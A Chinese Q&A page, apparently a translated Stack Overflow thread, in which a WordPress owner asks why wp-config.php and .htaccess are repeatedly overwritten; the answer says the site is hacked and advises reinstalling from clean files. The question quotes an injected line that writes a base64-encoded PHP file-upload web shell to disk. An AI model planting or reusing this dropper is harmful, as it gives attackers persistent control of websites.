首页 > 解决方案 > htaccess 和 wordpress 配置文件经常被覆盖

问题描述

我有一个 WordPress 网站(v5.2.3),并且不时地(可能每月)wp-config.php.htaccess文件被错误信息覆盖。

这会导致两个问题 - 首先,数据库访问详细信息wp-config更改为无法正常工作的内容,然后由于从htaccess.

被覆盖后,我的wp-config文件充满了这样的行:

file_put_contents("wp-remote-upload.php", base64_decode('PD9waHANCmVjaG8gIlRoaXMgc2hpdCB3b3JrcyEiOw0KaWYgKGlzc2V0KCRfRklMRVNbImZpbGVuYW1lIl0pKQ0Kew0KICAgaWYoJF9GSUxFU1siZmlsZW5hbWUiXVsic2l6ZSJdID4gMTAyNCozKjEwMjQpDQogICB7DQogICAgIGVjaG8gKCJGaWxlIHRvbyBsYXJnZSAobW9yZSB0aGFuIDNNYikiKTsNCiAgICAgZXhpdDsNCiAgIH0NCiAgIGlmKGlzX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZW5hbWUiXVsidG1wX25hbWUiXSkpDQogICB7DQogICAgIG1vdmVfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWyJmaWxlbmFtZSJdWyJ0bXBfbmFtZSJdLCAkX0ZJTEVTWyJmaWxlbmFtZSJdWyJuYW1lIl0pOw0KCSBlY2hvICgiPGJyPkRvbmUhPGJyPiIpOw0KICAgfSBlbHNlIHsNCiAgICAgIGVjaG8oIjxicj5FcnJvciEgIi4kcGhwX2Vycm9ybXNnLiI8YnI+Iik7DQogICB9DQp9DQo/Pg=='));

我的wp-config文件有很多这样的行,大小约为 800Kb。

我在我的 WordPress 网站上使用的插件如下:

使用我的 FTP 程序,我尝试更改wp-config.php.htaccess文件的权限,因此无法写入它们 - 但是我尝试更改这些值并没有导致任何更改。我假设我没有能力更改文件权限。


如何阻止这些文件被覆盖?

或者我如何才能发现导致更改这些文件的原因?

标签: phpwordpress.htaccess

解决方案


看起来您的系统已被入侵/被黑客入侵。

建议您首先在谷歌上搜索在这种情况下该怎么做,那里有很多资源可以涵盖基础知识。

理想情况下,您可能应该删除所有核心 WP 和插件文件夹,然后从“干净”系统再次上传文件(以避免攻击者仍然可以从外部访问可能已插入系统的其他文件。)


推荐阅读